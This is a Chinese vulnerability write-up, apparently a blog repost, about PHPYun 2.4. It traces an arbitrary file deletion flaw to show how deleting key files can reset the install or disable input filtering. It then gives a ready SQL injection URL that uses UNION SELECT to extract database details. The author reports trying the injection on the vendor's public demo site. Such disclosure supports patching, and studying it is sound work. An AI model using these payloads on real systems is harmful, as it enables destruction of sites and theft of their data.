php云系统清除版权,PHP云人才系统 PHPYun任意文件删除

PHP云人才系统 PHPYun为 PHP100旗下产品。下载源码:http://www.phpyun.com/phpyun_2.4_GBK_Beta.zip 2.4版本的先看根目录下index.php文件:

include(dirname(__FILE__)."/global.php");

********省略***********

$act = $_GET['act'];

$task = $_GET['task'];

********省略***********

require(MODEL_PATH.'class/common.php');

require("model/".$act.'.class.php');//包含model/下的class.php文件

$conclass=$act.'_controller';

$actfunc=$task.'_action';

$views=new $conclass($phpyun,$db,$db_config["def"],"index");//实例化一个类

if(!method_exists($views,$actfunc)){

$views->DoException();

}

$views->$actfunc();//访问url:index.php?act=ajax&task=delupload将调用model/ajax.class.php中ajax_controller类的delupload_action函数

?>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

include(dirname(__FILE__)."/global.php");

********省略***********

$act=$_GET['act'];

$task=$_GET['task'];

********省略***********

require(MODEL_PATH.'class/common.php');

require("model/".$act.'.class.php');//包含model/下的class.php文件

$conclass=$act.'_controller';

$actfunc=$task.'_action';

$views=new$conclass($phpyun,$db,$db_config["def"],"index");//实例化一个类

if(!method_exists($views,$actfunc)){

$views->DoException();

}

$views->$actfunc();//访问url:index.php?act=ajax&task=delupload将调用model/ajax.class.php中ajax_controller类的delupload_action函数

?>

来到根目录下的global.php

error_reporting(0);//关闭了错误显示

........................................

if($_GET[act]!="admin_template"){

include(CONFIG_PATH."db.safety.php");//包含了data/db.safety.php文件

}

1

2

3

4

5

error_reporting(0);//关闭了错误显示

........................................

if($_GET[act]!="admin_template"){

include(CONFIG_PATH."db.safety.php");//包含了data/db.safety.php文件

}

再看data/db.safety.php文件

function quotesGPC() {

$_POST = array_map("addSlash", $_POST);

$_GET = array_map("addSlash", $_GET);

$_COOKIE = array_map("addSlash", $_COOKIE);

}

function addSlash($el) {

if (is_array($el))

return array_map("addSlash", $el);

else

return addslashes($el);

}

function gpc2sql($str) {

$arr=array(" and "=>" an d "," or "=>" Or ","%20"=>"","select"=>"Select","update"=>"Update","count"=>"Count","chr"=>"Chr","truncate"=>"Truncate","union"=>"Union","delete"=>"Delete","insert"=>"Insert");

foreach($arr as $key=>$v){

$str = preg_replace('/'.$key.'/isU',$v,$str);

}

return $str;

}

function common_htmlspecialchars($str){

$str = preg_replace('/&(?!#[0-9]+;)/s', '&', $str);

$str = str_replace(

array('&','','"','and',"'"),

array("&",'<','>','"','an d',"´"),

$str);

return gpc2sql($str);

}

foreach($_POST as $id=>$v){

$_POST[$id]=common_htmlspecialchars($v);

}

foreach($_GET as $id=>$v){

if(!is_array($v))

$v=substr(strip_tags($v),0,80);

$_GET[$id]=common_htmlspecialchars($v);

}foreach($_COOKIE as $id=>$v){

$v=substr(strip_tags($v),0,52);

$_COOKIE[$id]=common_htmlspecialchars($v);

}

?>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

functionquotesGPC(){

$_POST=array_map("addSlash",$_POST);

$_GET=array_map("addSlash",$_GET);

$_COOKIE=array_map("addSlash",$_COOKIE);

}

functionaddSlash($el){

if(is_array($el))

returnarray_map("addSlash",$el);

else

returnaddslashes($el);

}

functiongpc2sql($str){

$arr=array(" and "=>" an d "," or "=>" Or ","%20"=>"","select"=>"Select","update"=>"Update","count"=>"Count","chr"=>"Chr","truncate"=>"Truncate","union"=>"Union","delete"=>"Delete","insert"=>"Insert");

foreach($arras$key=>$v){

$str=preg_replace('/'.$key.'/isU',$v,$str);

}

return$str;

}

functioncommon_htmlspecialchars($str){

$str=preg_replace('/&(?!#[0-9]+;)/s','&',$str);

$str=str_replace(

array('&','','"','and',"'"),

array("&",'<','>','"','an d',"´"),

$str);

returngpc2sql($str);

}

foreach($_POSTas$id=>$v){

$_POST[$id]=common_htmlspecialchars($v);

}

foreach($_GETas$id=>$v){

if(!is_array($v))

$v=substr(strip_tags($v),0,80);

$_GET[$id]=common_htmlspecialchars($v);

}foreach($_COOKIEas$id=>$v){

$v=substr(strip_tags($v),0,52);

$_COOKIE[$id]=common_htmlspecialchars($v);

}

?>

可以看到对$_POST、$_GET、$_COOKIE的值都进行了过滤、转义,XSS、sql注射都很难了。好了那么问题出在mode/ajax.class.php。来看mode/ajax.class.php中的delupload_action函数

function delupload_action(){

if(!$this->uid || !$this->username || $_COOKIE["usertype"]!=2){//需要先注册一个企业用户再登录,企业用户usertype为2,个人用户需要修改cookie

echo 0;die;

}else{

$dir=$_POST[str][0];//POST表单中设置[str][0]的值就可以删除任意文件了

echo @unlink(".".$dir);//调用了unlink函数删除文件

}

}

1

2

3

4

5

6

7

8

functiondelupload_action(){

if(!$this->uid||!$this->username||$_COOKIE["usertype"]!=2){//需要先注册一个企业用户再登录,企业用户usertype为2,个人用户需要修改cookie

echo0;die;

}else{

$dir=$_POST[str][0];//POST表单中设置[str][0]的值就可以删除任意文件了

echo@unlink(".".$dir);//调用了unlink函数删除文件

}

}

构造html文件:

要删除的文件:

1

2

3

4

要删除的文件:

提交后robots.txt文件删除了

6ce357f49ceea5a48f63a8e28f86c453.png

d6411a3b2f356c7030c3e0112f597a4c.png

3def77d4fed5ec1059f6b6cadd8428ef.png

如果删除/data/phpyun.lock可以重新安装如果删除/data/db.safety.php则没有进行对$_POST、$_GET、$_COOKIE进行过滤了比如删除/data/db.safety.php后可通过mode/ajax.class.php中getzphcom_action函数进行sql注入:

function getzphcom_action(){

extract($_GET);//$jobid=$_GET["jobid"]

if(!$jobid){

$arr['status']=0;

$arr['content']=iconv("gbk","utf-8","您还没有职位,请先登录");

}else{

$row=$this->obj->DB_select_all("company_job","`id` in ($jobid)");//$jobid没有单引号,闭合前面的)即可进行注入

foreach($row as $v){

$data.=$v[name].'
';

}

$arr['status']=1;

$arr['content']=iconv("gbk","utf-8",$data);

}

echo json_encode($arr);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

functiongetzphcom_action(){

extract($_GET);//$jobid=$_GET["jobid"]

if(!$jobid){

$arr['status']=0;

$arr['content']=iconv("gbk","utf-8","您还没有职位,请先登录");

}else{

$row=$this->obj->DB_select_all("company_job","`id` in ($jobid)");//$jobid没有单引号,闭合前面的)即可进行注入

foreach($rowas$v){

$data.=$v[name].'
';

}

$arr['status']=1;

$arr['content']=iconv("gbk","utf-8",$data);

}

echojson_encode($arr);

}

注入:访问/index.php?act=ajax&task=getzphcom&jobid=-1) UNION SELECT 1,2,concat(user(),0x7c,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%23本地测试注入成功,demo.phpyun.com测试注入不成功。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PHPYUN人才招聘系统是一个采用 PHP 和 MySQL 数据库构建的高效开源的人才与企业求职招、聘解决方案,在尊重版权的前提下能极大的满足站长对于网站程序进行二次开发。PHP人才系统作为一款拥有自主知识产权的中文人才运营系统,力争为给众多的地方门户、行业人才提供一个易用、功能强大的人才系统。   一、PHPYUN人才招聘系统产品配置需求: (1)、PHP5 、Mysql5、Apache2/IIS6 以上环境 (2)、可以运行于Windows、Linux、Mac等多种平台 (3)、浏览器前台需要用户开启Cookie功能(浏览需要IE6、火狐 3.x 以上) 二、PHPYUN人才招聘系统产品特点: (1)、PHP OOP思想编写方便维护和升级有很好的安全性 (2)、采用PHP模板分离可以方便修改页面和二次开发升级 (3)、企业会员和个人会员分别使用独立的管理的权限模式不产生冲突方便管理 三、PHPYUN人才招聘系统产品常见功能: (1)、个人会员拥有单账户多简历,快速根据不同企业投放不同简历 (2)、个人会员可以通过创建标准简历和黏贴简历模式快速建立自己的简历信息 (3)、个人会员可以通过搜索、收藏、投放等功能来管理个人求职情况 (4)、个人会员可以通过申请、推荐模式找到精确的企业 (5)、企业会员可以分为、普通会员、季度会员、年会员三类收费和管理 (6)、企业会员可以发布不同简历和悬赏简历从而推荐到优先的位置 (7)、企业会员可以通过申请广告运营者可以从中获得收入 (8)、总后台可以通过审核、配置、预览,查找配合网站运营操作猎头服务 (9)、Yun()人才系统的最大靓点是开启了内容同步和交换功能,方便运营者资源的填充。 PHPYUN人才招聘系统 v5.1.4 Beta 更新日志: 新增:微信发布工具模板自定义 新增:小程序外链 新增:职位预约刷新 新增:账户合并 新增:过期会员可查看主动投递简历 新增:订单分配业务员 新增:CRM释放记录 新增:计划任务外链、执行日志 新增:数据回收站来源地址 优化:一周内更新日期格式 优化:降低曝光量统计维度 优化:曝光量 浏览量展现以万为单位 优化:PC端LOGO裁剪 优化:CRM我的客户按登录日期排序 优化:解绑手机变更为换绑手机 优化:错误日志增加空号检测失败记录 修复:邀请面试模板兼容 修复:自定义推广非系统注册手机号无法发送 修复:无身份用户小程序微信绑定提示错误 修复:新闻附件与默认缩略图冲突 修复:wap端应付金额显示错误 修复:微信小程序个别账户因过滤机制导致无法登陆 修复:后台待审评论显示问题 修复:后台添加简历 职能、地区分类选择问题 修复:面试评价开关失效 修复:后台企业海报企业名称不显示 修复:兼职报名 邮箱内容不正确 修复:企业申请发票数额限制问题 修复:CRM跟进记录显示不完整 修复:其他一些样式以及兼容性问题调整

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值